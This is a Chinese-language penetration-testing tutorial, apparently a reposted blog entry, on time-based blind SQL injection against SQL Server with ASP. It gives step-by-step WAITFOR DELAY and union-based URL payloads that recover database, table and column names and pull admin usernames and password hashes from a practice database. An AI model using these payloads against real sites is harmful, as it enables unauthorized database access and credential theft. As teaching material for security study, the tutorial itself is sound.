0


77.网络安全渗透测试—[SQL注入篇16]—[SQLSERVER+ASP 延时注入]

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

文章目录

一、SQLSERVER+ASP 延时注入

1、简介

(1)SQLSERVER 延时注入也是盲注的一种

(2)WAITFOR是SQLServer中Transact-SQL提供的一个流程控制语句。它的作用就是等待特定时间,然后继续执行后续的语句。它包含一个参数DELAY,用来指定等待的时间。

waitfor delay '0:0:5'//延时5秒再执行操作select1 waitfor delay '0:0:5'//延时5秒后打印输出1

(3)substring()函数语法:

substring(字符串,start[,length])

(4)substring(‘abcdefg’,1,1):表示从第一位开始截取1个字符,此时就是a

(5)char(97),作用是把97的ASCII码值转换为对应的字符

(6)ascii(a),作用是把字符a转换为对应的ASCII码值

(7)count(*),查询个数

(8)top 1:第1个之前的记录

(9)top 1结合where username!=‘admin’:先执行条件,再取top 1。(假如admin是真正的第一条记录,那么排除了admin后,此时的top1实际上就是第二条记录)

(10)注入的形式:
形式1:

?id=1 WAITFOR DELAY '0:0:5'
      形式2:
?id=1;WAITFOR DELAY '0:0:5'

2、判断注入

(1)页面延时5秒返回:

?id=1 WAITFOR DELAY '0:0:5'

在这里插入图片描述

3、猜解长度、个数、字符

(1)猜解当前数据库名的长度-payload1:

?id=1 IF len(DB_NAME())=4 WAITFOR DELAY '0:0:5'

在这里插入图片描述

(2)猜解当前数据库名的第一个字符-payload2:

?id=1 if(SUBSTRING(DB_NAME(),1,1)=CHAR(109)) waitfor delay '0:0:5'

在这里插入图片描述

(3)猜解当前数据库名的第二个字符-payload3:

?id=1 if(SUBSTRING(DB_NAME(),2,1)='y') waitfor delay '0:0:5'

在这里插入图片描述

(4)猜解当前数据库名的第三个字符-payload4:

?id=1 IF ASCII(SUBSTRING(DB_NAME(),3,1))=100 WAITFOR DELAY '0:0:5'

在这里插入图片描述

(5)猜解当前数据库名的第四个字符-payload5:

?id=1 IF ASCII(SUBSTRING(DB_NAME(),4,1))=108 WAITFOR DELAY '0:0:5'

在这里插入图片描述
(6)猜解当前数据库的表个数-payload6:

?id=1 IF (SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb')=4 WAITFOR DELAY '0:0:5'

在这里插入图片描述

(7)猜解当前数据库的第一个表名长度-payload7:

?id=1 IF len((SELECT top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb'))=3 WAITFOR DELAY '0:0:5'

在这里插入图片描述

(8)猜解当前数据库的第一个表的第一个字符-payload8:

?id=1 IF SUBSTRING((SELECT top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb'),1,1)=CHAR(99) WAITFOR DELAY '0:0:5'

在这里插入图片描述

依此类推,猜解出mydb库的第一个表名为cmd

(9)猜解当前数据库的第二个表名长度-payload9:

?id=1 IF len((SELECT top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb' and table_name!='cmd'))=8 WAITFOR DELAY '0:0:5'

在这里插入图片描述

(10)猜解当前数据库的第二个表的第一个字符(排除第一个表,之后再取top 1)-payload10:

?id=1 IF SUBSTRING((SELECT top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb' and table_name!='cmd'),1,1)=CHAR(116) WAITFOR DELAY '0:0:5'

在这里插入图片描述

依次类推,猜解出mydb库的第二个表名为test_tmp

经过一系列的猜解:

得到当前库为mydb
库里面有四个表,分别是cmd、test_tmp、admin、art
第三个表admin有四个字段,分别是:id、username、password、email
第三个表admin的第二个字段username的前两条数据/记录为admin、qwsn

(11)猜解admin表有几行记录/数据-payload11:

?id=1 IF (select count(id) from admin)=2 WAITFOR DELAY '0:0:5'

在这里插入图片描述

(12)猜解admin表的password字段的第一条记录的长度-payload12:

?id=1 IF len((select top 1 password from admin))=32 WAITFOR DELAY '0:0:5'

在这里插入图片描述

(13)猜解admin表的password字段的第一条记录的第一个字符-payload13:

?id=1 IF ASCII(SUBSTRING((select top 1 password from admin),1,1))=101 WAITFOR DELAY '0:0:5'

在这里插入图片描述
(14)上一步的思考:

方法1-通过第一条记录的username字段值排除:

?id=1 IF ASCII(SUBSTRING((select top 1 password from admin where username!='admin'),1,1))=50 WAITFOR DELAY '0:0:5'

在这里插入图片描述
方法2-通过第一条记录的id字段值排除:

?id=1 IF ASCII(SUBSTRING((select top 1 password from admin where id!=1),1,1))=50 WAITFOR DELAY '0:0:5'

在这里插入图片描述

4、以上总结:

12步

(1)判断是否存在注入
(2)猜解库名长度
(3)逐个猜解库名字符
(4)猜解当前库中的表个数
(5)猜解当前库中的某个表名的长度
(6)逐个猜解某个库中的某个表名的字符
(7)猜解某个表中的字段个数
(8)猜解某个表中的某个字段名的长度
(9)逐个猜解某个表中的某个字段名的字符
(10)猜解某个表中的字段值/记录/数据的条数
(11)猜解某个表中的某个字段值的长度
(12)逐个猜解某个表中的某个字段值的字符

5、思考1:

information_schema的区别

(1)SQL SERVER:

此时身份是某个库的系统视图
      在sqlserver中,由于information_schema.schemata是某个数据库下的视图下的系统视图,相当于一个虚拟表,其中的table_schema字段值表示的是用户名,而catalog_name表示的才是数据库名。注意:以上这句话中重要的是
它存储于某个数据库下

,那么该视图中的catalog_name字段的值只能是自己的库名。

(2)MySQL:

此时身份是库
      而在MySQL中,information_schema是一个单独的库,其里面存储着表schemata,也就是information_schema.schemata,该表里面的table_schema是库名的意思,它的值就广泛,有着所有的库名!!!

(3)总之:
在SQLSERVER中不可以使用information_Schema.schemata查询所有的库名,而MySQL可以。

(4)提出问题:

怎么查询出其他库名?

在有回显的时候:

使用联合查询所有库名-payload:

?id=1 union SELECT null,null,Name FROM Master..SysDatabases

在这里插入图片描述

同理也可以联合查询所有表名:

?id=1 union SELECT null,null,Name FROM SysObjects Where XType='U'

在这里插入图片描述
同理也可以联合查询某个表中指定字段的所有字段值-payload:

?id=1 union select null,null,(select username,password from admin for xml path)

但是!!!!!在没有回显的时候,我们既然已经用到了时间盲注,那么就是没有回显了,那么如何在此条件下,如何查询出其他库名呢??????

6、思考2:

如何一次查询当前库的所有表长度

(1)MySQL中使用的是group_concat()

(2)SQL server中使用的是for xml path

一次查询mydb库的所有表长度-payload:

?id=1 IF len((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb' FOR XML PATH))=163 WAITFOR DELAY '0:0:5'

在这里插入图片描述
同理一次查询admin库的username和password所有字段值的长度-payload:
在这里插入图片描述

7、简化延时注入步骤:

9步(省略了判断个数的步骤)

(1)判断是否存在注入
(2)猜解当前库名长度
(3)逐个猜解当前库名的字符
(4)猜解当前库的所有表名长度
(5)逐个猜解当前库的所有表名字符
(6)猜解某个表的所有字段名长度
(7)逐个猜解某个表的所有字段名字符
(8)猜解某个表的所有字段值长度
(9)逐个猜解某个表的索引字段值字符


本文转载自: https://blog.csdn.net/qq_45555226/article/details/122589087
版权归原作者 qwsn 所有, 如有侵权,请联系我们删除。

“77.网络安全渗透测试—[SQL注入篇16]—[SQLSERVER+ASP 延时注入]”的评论:

还没有评论